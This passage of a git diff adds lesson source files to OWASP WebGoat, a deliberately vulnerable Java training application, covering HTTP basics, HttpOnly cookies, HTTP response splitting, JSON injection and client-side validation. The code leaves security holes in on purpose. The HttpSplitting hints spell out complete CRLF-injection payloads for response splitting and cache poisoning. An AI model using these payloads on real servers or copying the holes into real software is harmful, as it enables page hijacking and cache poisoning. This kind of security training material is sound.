details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class HttpBasics extends LessonAdapter +{ + private final static String PERSON = "person"; + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + StringBuffer person = null; + try + { + ec.addElement(new StringElement("Enter your name: ")); + + person = new StringBuffer(s.getParser().getStringParameter(PERSON, + "")); + person.reverse(); + + Input input = new Input(Input.TEXT, PERSON, person.toString()); + ec.addElement(input); + + Element b = ECSFactory.makeButton("Go!"); + ec.addElement(b); + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + if (!person.toString().equals("") + && getLessonTracker(s).getNumVisits() > 3) + { + makeSuccess(s); + } + + return (ec); + } + + + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Type in your name and press 'go'"); + hints.add("Turn on Show Parameters or other features"); + hints.add("Press the Show Lesson Plan button to view a lesson summary"); + hints.add("Press the Show Solution button to view a lesson solution"); + + return hints; + } + + /** + * Gets the ranking attribute of the HelloScreen object + * + * @return The ranking value + */ + private final static Integer DEFAULT_RANKING = new Integer(10); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + protected Category getDefaultCategory() + { + return Category.GENERAL; + } + + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Http Basics"); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HttpOnly.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpOnly.java new file mode 100644 index 000000000..a28ea80db --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpOnly.java @@ -0,0 +1,437 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.Date; +import java.util.List; +import java.security.MessageDigest; + +import javax.servlet.http.HttpServletResponse; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.A; +import org.apache.ecs.html.Form; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.WebSession; + +import sun.misc.BASE64Encoder; +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class HttpOnly extends LessonAdapter { + + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + private final static Integer DEFAULT_RANKING = new Integer(125); + + private final static String UNIQUE2U = "unique2u"; + + private final static String HTTPONLY = "httponly"; + + private final static String ACTION = "action"; + + private final static String READ = "Read Cookie"; + + private final static String WRITE = "Write Cookie"; + + private final static String READ_RESULT = "read_result"; + + private boolean httpOnly = false; + + private boolean readSuccess = false; + + private boolean writeSuccess = false; + + private String original = "undefined"; + + /** + * Gets the title attribute of the EmailScreen object + * + * @return The title value + */ + public String getTitle() + { + return ( "HTTPOnly Test" ); + } + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + + protected Element createContent( WebSession s ) + { + ElementContainer ec = new ElementContainer(); + String action = null; + String http = null; + + http = s.getRequest().getParameter(HTTPONLY); + action = s.getRequest().getParameter(ACTION); + + if(http != null) { + httpOnly = Boolean.parseBoolean(http); + } + + if(httpOnly) { +// System.out.println("HttpOnly: Setting HttpOnly for cookie"); + setHttpOnly(s); + } else { +// System.out.println("HttpOnly: Removing HttpOnly for cookie"); + removeHttpOnly(s); + } + + if(action != null) { + if(action.equals(READ)) { + handleReadAction(s); + } else if(action.equals(WRITE)) { + handleWriteAction(s); + } else { + //s.setMessage("Invalid Request. Please try again."); + } + } + + try + { + ec.addElement(makeContent(s)); + } + catch ( Exception e ) + { + s.setMessage( "Error generating " + this.getClass().getName() ); + e.printStackTrace(); + } + + return ( ec ); + } + + + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.XSS; + } + + + /** + * Gets the hints attribute of the EmailScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add( "Read the directions and try out the buttons." ); + return hints; + } + + private String createCustomCookieValue() { + String value = null; + byte[] buffer = null; + MessageDigest md = null; + BASE64Encoder encoder = new BASE64Encoder(); + + try { + md = MessageDigest.getInstance("SHA"); + buffer = new Date().toString().getBytes(); + + md.update(buffer); + value = encoder.encode(md.digest()); + original = value; + + } catch (Exception e) { + e.printStackTrace(); + } + + return value; + } + + private void setHttpOnly(WebSession s) { + String value = createCustomCookieValue(); + HttpServletResponse response = s.getResponse(); + String cookie = s.getCookie(UNIQUE2U); + + if(cookie == null || cookie.equals("HACKED")) { + response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly"); + original = value; + } else { + response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly"); + original = cookie; + } + } + + private void removeHttpOnly(WebSession s) { + String value = createCustomCookieValue(); + HttpServletResponse response = s.getResponse(); + String cookie = s.getCookie(UNIQUE2U); + + if(cookie == null || cookie.equals("HACKED")) { + response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";"); + original = value; + } else { + response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";"); + original = cookie; + } + } + + private ElementContainer makeContent(WebSession s) { + ElementContainer ec = new ElementContainer(); + Element r = null; + Table t = null; + TR tr = null; + Form f = null; + + ec.addElement(new StringElement(getJavaScript())); + + f = new Form(); + + t = new Table(); + t.setWidth(500); + + tr = new TR(); + + tr.addElement(new TD(new StringElement("Your browser appears to be: " + getBrowserType(s)))); + t.addElement(tr); + + tr = new TR(); + t.addElement(tr); + + tr = new TR(); + + tr.addElement( new TD(new StringElement ("Do you wish to turn HTTPOnly on?"))); + + tr.addElement( new TD(new StringElement ("Yes"))); + + if(httpOnly == true) { + r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("Checked", "true"); + } else { + r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("onClick", "document.form.submit()"); + } + + tr.addElement(new TD(r)); + + tr.addElement( new TD(new StringElement ("No"))); + + if(httpOnly == false) { + r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True"); + } else { + r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()"); + } + + tr.addElement(new TD(r)); + + r = new Input(Input.HIDDEN, READ_RESULT, ""); + tr.addElement(r); + + t.addElement(tr); + +/* tr.addElement(new TD(new StringElement("Status: " ))); + t.addElement(tr); + + if(httpOnly == true) { + tr.addElement(new TD(new StringElement("
On
"))); + } else { + tr.addElement(new TD(new StringElement ("
Off
"))); + } + + t.addElement(tr); + t.addElement(new TR(new TD(new StringElement("
")))); +*/ f.addElement(t); + + t = new Table(); + tr = new TR(); + + r = new Input(Input.SUBMIT, ACTION, READ).addAttribute("onclick", "myAlert();"); + tr.addElement(new TD(r)); + + r = new Input(Input.SUBMIT, ACTION, WRITE).addAttribute("onclick", "modifyAlert();"); + tr.addElement(new TD(r)); + t.addElement(tr); + + f.addElement(t); + ec.addElement(f); + + return ec; + } + + private void handleReadAction(WebSession s) { + + String displayed = s.getRequest().getParameter(READ_RESULT); + + if(httpOnly == true) { + if(displayed.indexOf(UNIQUE2U) != -1) { + s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U + + "' cookie. It allowed direct client side read access to this cookie."); + } else { + s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U + + "' cookie by preventing direct client side read access to this cookie."); + if (writeSuccess) { + if (!this.isCompleted(s)) { + makeSuccess(s); + readSuccess = false; + writeSuccess = false; + } + } else { + if (!this.isCompleted(s)) { + s.setMessage("Now try to see if your browser protects write access to this cookie."); + readSuccess = true; + } + } + } + } else if(displayed.indexOf(UNIQUE2U) != -1) { + s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U + "' cookie was displayed in the alert dialog."); + } else { + s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U + + "' cookie should have been displayed in the alert dialog, but was not for some reason. " + + "(This shouldn't happen)"); + } + } + + private void handleWriteAction(WebSession s) { + String hacked = s.getCookie(UNIQUE2U); + + if(httpOnly == true) { + if(!original.equals(hacked)) { + s.setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" + UNIQUE2U + "' cookie."); + s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked + " on the client side."); + } else { + s.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '" + + UNIQUE2U + "' cookie by preventing client side modification."); + if (readSuccess) { + if (!this.isCompleted(s)) { + makeSuccess(s); + readSuccess = false; + writeSuccess = false; + } + } else { + if (!this.isCompleted(s)) { + s.setMessage("Now try to see if your browser protects read access to this cookie."); + writeSuccess = true; + } + } + } + } else if(!original.equals(hacked)) { + s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U + + "' cookie to be modified on the client side."); + } else { + s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U + + "' cookie to be modified on the client side, but it was not for some reason. " + + "(This shouldn't happen)"); + } + } + + private String getJavaScript() { + StringBuffer buffer = new StringBuffer(); + + buffer.append("\n"); + + return buffer.toString(); + } + + private String getBrowserType(WebSession s) { + int offset = -1; + String result = "unknown"; + String browser = s.getHeader("user-agent").toLowerCase(); + + if(browser != null) { + if(browser.indexOf("firefox") != -1) { + browser = browser.substring(browser.indexOf("firefox")); + + offset = getOffset(browser); + + result = browser.substring(0, offset); + } else if(browser.indexOf("msie 6") != -1) { + result = "Internet Explorer 6"; + } else if(browser.indexOf("msie 7") != -1) { + result = "Internet Explorer 7"; + } else if(browser.indexOf("msie") != -1) { + result = "Internet Explorer"; + } else if(browser.indexOf("opera") != -1) { + result = "Opera"; + } else if(browser.indexOf("safari") != -1) { + result = "Safari"; + } else if(browser.indexOf("netscape") != -1) { + browser = browser.substring(browser.indexOf("netscape")); + + offset = getOffset(browser); + + result = browser.substring(0, offset); + } else if(browser.indexOf("konqueror") != -1) { + result = "Konqueror"; + } else if(browser.indexOf("mozilla") != -1) { + result = "Mozilla"; + } + } + + return result; + } + + private int getOffset(String s) { + int result = s.length(); + + for(int i=0; i 126) { + result = i; + break; + } + } + + return result; + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HttpSplitting.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpSplitting.java new file mode 100644 index 000000000..74f68d5aa --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpSplitting.java @@ -0,0 +1,297 @@ +package org.owasp.webgoat.lessons; + +import java.io.PrintWriter; +import java.net.URLDecoder; +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.*; + +import javax.servlet.http.HttpServletResponse; + +import org.apache.ecs.*; +import org.apache.ecs.html.*; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Sherif Koussa Macadamian Technologies. + * @created September 30, 2006 + */ + +public class HttpSplitting extends SequentialLessonAdapter +{ + + private final static String LANGUAGE = "language"; + + private final static String REDIRECT = "fromRedirect"; + + private static String STAGE = "stage"; + + private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( + "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); + + /** + * Description of the Method + * + * @param s Current WebSession + */ + public void handleRequest(WebSession s) + { + //Setting a special action to be able to submit to redirect.jsp + Form form = new Form("/WebGoat/lessons/General/redirect.jsp?" + + "Screen=" + String.valueOf(getScreenId()) + "&menu=" + + getDefaultCategory().getRanking().toString(), Form.POST) + .setName("form").setEncType(""); + + form.addElement(createContent(s)); + + setContent(form); + } + + + protected Element doHTTPSplitting(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String lang = null; + + try + { + ec.addElement(createAttackEnvironment(s)); + lang = URLDecoder.decode(s.getParser() + .getRawParameter(LANGUAGE, ""), "UTF-8"); + + //Check if we are coming from the redirect page + String fromRedirect = s.getParser().getStringParameter( + "fromRedirect", ""); + + if (lang.length() != 0 && fromRedirect.length() != 0) + { + //Split by the line separator line.separator is platform independant + String lineSep = System.getProperty("line.separator"); + String[] arrTokens = lang.toString().toUpperCase().split( + lineSep); + + //Check if the user ended the first request and wrote the second malacious reply + + if (Arrays.binarySearch(arrTokens, "CONTENT-LENGTH: 0") >= 0 + && Arrays.binarySearch(arrTokens, "HTTP/1.1 200 OK") >= 0) + { + HttpServletResponse res = s.getResponse(); + res.setContentType("text/html"); + PrintWriter out = new PrintWriter(res.getOutputStream()); + String message = lang.substring(lang.indexOf("")); + + out.print(message); + out.flush(); + out.close(); + + getLessonTracker(s).setStage(2); + + StringBuffer msg = new StringBuffer(); + + msg.append("Good Job! "); + msg + .append("This lesson has detected your successfull attack, "); + msg + .append("time to elevate your attack to a higher level. "); + msg + .append("Try again and add Last-Modified header, intercept"); + msg.append("the reply and replace it with a 304 reply."); + + s.setMessage(msg.toString()); + + } + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } + + + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } + + + protected Element doStage1(WebSession s) throws Exception + { + return doHTTPSplitting(s); + } + + + protected Element doStage2(WebSession s) throws Exception + { + return doCachePoisining(s); + } + + + protected Element createAttackEnvironment(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + String lang = null; + + if (getLessonTracker(s).getStage() == 1) + { + ec.addElement(new H3("Stage 1: HTTP Splitting:

")); + } + else + { + ec.addElement(new H3("Stage 2: Cache Poisoning:

")); + } + ec.addElement(new StringElement("Search by country : ")); + + lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), + "UTF-8"); + + //add the search by field + Input input = new Input(Input.TEXT, LANGUAGE, lang.toString()); + ec.addElement(input); + + Element b = ECSFactory.makeButton("Search!"); + + ec.addElement(b); + + return ec; + } + + + protected Element doCachePoisining(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + + try + { + s + .setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison" + + " the victim's cache. Type 'restart' in the input field if you wish to " + + " to return to the HTTP Splitting lesson.

"); + if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals( + "restart")) + { + getLessonTracker(s).getLessonProperties().setProperty(STAGE, + "1"); + return (doHTTPSplitting(s)); + } + + ec.addElement(createAttackEnvironment(s)); + String lang = URLDecoder.decode(s.getParser().getRawParameter( + LANGUAGE, ""), "UTF-8"); + String fromRedirect = s.getParser() + .getStringParameter(REDIRECT, ""); + + if (lang.length() != 0 && fromRedirect.length() != 0) + { + String lineSep = System.getProperty("line.separator"); + String dateStr = lang.substring(lang.indexOf("Last-Modified:") + + "Last-Modified:".length(), lang.indexOf(lineSep, lang + .indexOf("Last-Modified:"))); + if (dateStr.length() != 0) + { + Calendar cal = Calendar.getInstance(); + + DateFormat sdf = new SimpleDateFormat( + "EEE, dd MMM yyyy HH:mm:ss z", Locale.US); + + if (sdf.parse(dateStr.trim()).after(cal.getTime())) + { + makeSuccess(s); + } + } + } + } + catch (Exception ex) + { + ec.addElement(new P().addElement(ex.getMessage())); + } + return ec; + } + + + protected Category getDefaultCategory() + { + return Category.GENERAL; + } + + + protected List getHints(WebSession s) + { + + List hints = new ArrayList(); + hints.add("Enter a language for the system to search by."); + hints.add("Use CR (%0d) and LF (%0a) for a new line"); + hints + .add("The Content-Length: 0 will tell the server that the first request is over."); + hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK"); + hints + .add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>"); + hints + .add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date."); + hints + .add("Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>"); + hints + .add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page"); + hints + .add("Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT"); + return hints; + + } + + private final static Integer DEFAULT_RANKING = new Integer(20); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("HTTP Splitting"); + } + + + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/JSONInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/JSONInjection.java new file mode 100644 index 000000000..90fd63c6d --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/JSONInjection.java @@ -0,0 +1,315 @@ +package org.owasp.webgoat.lessons; + +import org.owasp.webgoat.session.WebSession; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.Div; +import org.apache.ecs.html.Form; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Table; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.BR; + +import java.io.PrintWriter; +import java.util.List; +import java.util.ArrayList; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Sherif Koussa Macadamian Technologies. + * @created December 25, 2006 + */ + +public class JSONInjection extends LessonAdapter +{ + + private final static Integer DEFAULT_RANKING = new Integer(30); + + private final static String TRAVEL_FROM = "travelFrom"; + + private final static String TRAVEL_TO = "travelTo"; + + private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( + "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); + + public void handleRequest(WebSession s) + { + + try + { + if (s.getParser().getRawParameter("from", "").equals("ajax")) + { + String lineSep = System.getProperty("line.separator"); + String jsonStr = "{" + + lineSep + + "\"From\": \"Boston\"," + + lineSep + + "\"To\": \"Seattle\", " + + lineSep + + "\"flights\": [" + + lineSep + + "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + + lineSep + + "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + + lineSep + "]" + lineSep + "}"; + s.getResponse().setContentType("text/html"); + s.getResponse().setHeader("Cache-Control", "no-cache"); + PrintWriter out = new PrintWriter(s.getResponse() + .getOutputStream()); + out.print(jsonStr); + out.flush(); + out.close(); + return; + } + } + catch (Exception ex) + { + ex.printStackTrace(); + } + + Form form = new Form(getFormAction(), Form.POST).setName("form") + .setEncType(""); + form.setOnSubmit("return check();"); + + form.addElement(createContent(s)); + + setContent(form); + + } + + + /** + * Description of the Method + * + * @param s Current WebSession + */ + + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String lineSep = System.getProperty("line.separator"); + String script = "" + lineSep; + ec.addElement(new StringElement(script)); + Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0) + .setWidth("90%").setAlign("center"); + + TR tr = new TR(); + + tr.addElement(new TD("From: ")); + Input in = new Input(Input.TEXT, TRAVEL_FROM, ""); + in.addAttribute("onkeyup", "getFlights();"); + in.addAttribute("id", TRAVEL_FROM); + tr.addElement(new TD(in)); + + t1.addElement(tr); + + tr = new TR(); + tr.addElement(new TD("To: ")); + in = new Input(Input.TEXT, TRAVEL_TO, ""); + in.addAttribute("onkeyup", "getFlights();"); + in.addAttribute("id", TRAVEL_TO); + tr.addElement(new TD(in)); + + t1.addElement(tr); + ec.addElement(t1); + + ec.addElement(new BR()); + ec.addElement(new BR()); + Div div = new Div(); + div.addAttribute("name", "flightsDiv"); + div.addAttribute("id", "flightsDiv"); + ec.addElement(div); + + Input b = new Input(); + b.setType(Input.SUBMIT); + b.setValue("Submit"); + b.setName("SUBMIT"); + ec.addElement(b); + + Input price2Submit = new Input(); + price2Submit.setType(Input.HIDDEN); + price2Submit.setName("price2Submit"); + price2Submit.setValue(""); + price2Submit.addAttribute("id", "price2Submit"); + ec.addElement(price2Submit); + if (s.getParser().getRawParameter("radio0", "").equals("on")) + { + String price = s.getParser().getRawParameter("price2Submit", ""); + price = price.replace("$", ""); + if (Integer.parseInt(price) < 600) + { + makeSuccess(s); + } + else + { + s + .setMessage("You are close, try to set the price for the non-stop flight to be less than $600"); + } + } + return ec; + } + + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO); + } + + protected Category getDefaultCategory() + { + return Category.AJAX_SECURITY; + } + + + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("JSON stands for JavaScript Object Notation."); + hints.add("JSON is a way of representing data just like XML."); + hints.add("The JSON payload is easily interceptable."); + hints.add("Intercept the reply, change the $600 to $25."); + return hints; + + } + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("JSON Injection"); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/JavaScriptValidation.java b/main/project/JavaSource/org/owasp/webgoat/lessons/JavaScriptValidation.java new file mode 100644 index 000000000..84fad2cbd --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/JavaScriptValidation.java @@ -0,0 +1,333 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Pattern; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.A; +import org.apache.ecs.html.Div; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TextArea; + +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Jeff Williams Aspect Security + * @created October 28, 2003 + */ + +public class JavaScriptValidation extends LessonAdapter +{ + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + + ElementContainer ec = new ElementContainer(); + + // Regular expressions in Java and JavaScript compatible form + + // Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax + + // you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one for JavaScript + + String regex1 = "^[a-z]{3}$";// any three lowercase letters + String regex2 = "^[0-9]{3}$";// any three digits + String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation + String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of numbers + String regex5 = "^\\d{5}$";// simple zip code + String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four + String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";//US phone number with or without dashes + Pattern pattern1 = Pattern.compile(regex1); + Pattern pattern2 = Pattern.compile(regex2); + Pattern pattern3 = Pattern.compile(regex3); + Pattern pattern4 = Pattern.compile(regex4); + Pattern pattern5 = Pattern.compile(regex5); + Pattern pattern6 = Pattern.compile(regex6); + Pattern pattern7 = Pattern.compile(regex7); + String lineSep = System.getProperty("line.separator"); + String script = "" + lineSep; + try + { + String param1 = s.getParser().getRawParameter("field1", "abc"); + String param2 = s.getParser().getRawParameter("field2", "123"); + String param3 = s.getParser().getRawParameter("field3", + "abc 123 ABC"); + String param4 = s.getParser().getRawParameter("field4", "seven"); + String param5 = s.getParser().getRawParameter("field5", "90210"); + String param6 = s.getParser().getRawParameter("field6", + "90210-1111"); + String param7 = s.getParser().getRawParameter("field7", + "301-604-4882"); + ec.addElement(new StringElement(script)); + TextArea input1 = new TextArea("field1", 1, 25).addElement(param1); + TextArea input2 = new TextArea("field2", 1, 25).addElement(param2); + TextArea input3 = new TextArea("field3", 1, 25).addElement(param3); + TextArea input4 = new TextArea("field4", 1, 25).addElement(param4); + TextArea input5 = new TextArea("field5", 1, 25).addElement(param5); + TextArea input6 = new TextArea("field6", 1, 25).addElement(param6); + TextArea input7 = new TextArea("field7", 1, 25).addElement(param7); + + Input b = new Input(); + b.setType(Input.BUTTON); + b.setValue("Submit"); + b.addAttribute("onclick", "validate();"); + ec.addElement(new Div().addElement(new StringElement( + "Field1: exactly three lowercase characters (" + regex1 + + ")"))); + ec.addElement(new Div().addElement(input1)); + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement( + "Field2: exactly three digits (" + regex2 + ")"))); + ec.addElement(new Div().addElement(input2)); + ec.addElement(new P()); + ec.addElement(new Div() + .addElement(new StringElement( + "Field3: letters, numbers, and space only (" + + regex3 + ")"))); + ec.addElement(new Div().addElement(input3)); + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement( + "Field4: enumeration of numbers (" + regex4 + ")"))); + ec.addElement(new Div().addElement(input4)); + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement( + "Field5: simple zip code (" + regex5 + ")"))); + ec.addElement(new Div().addElement(input5)); + 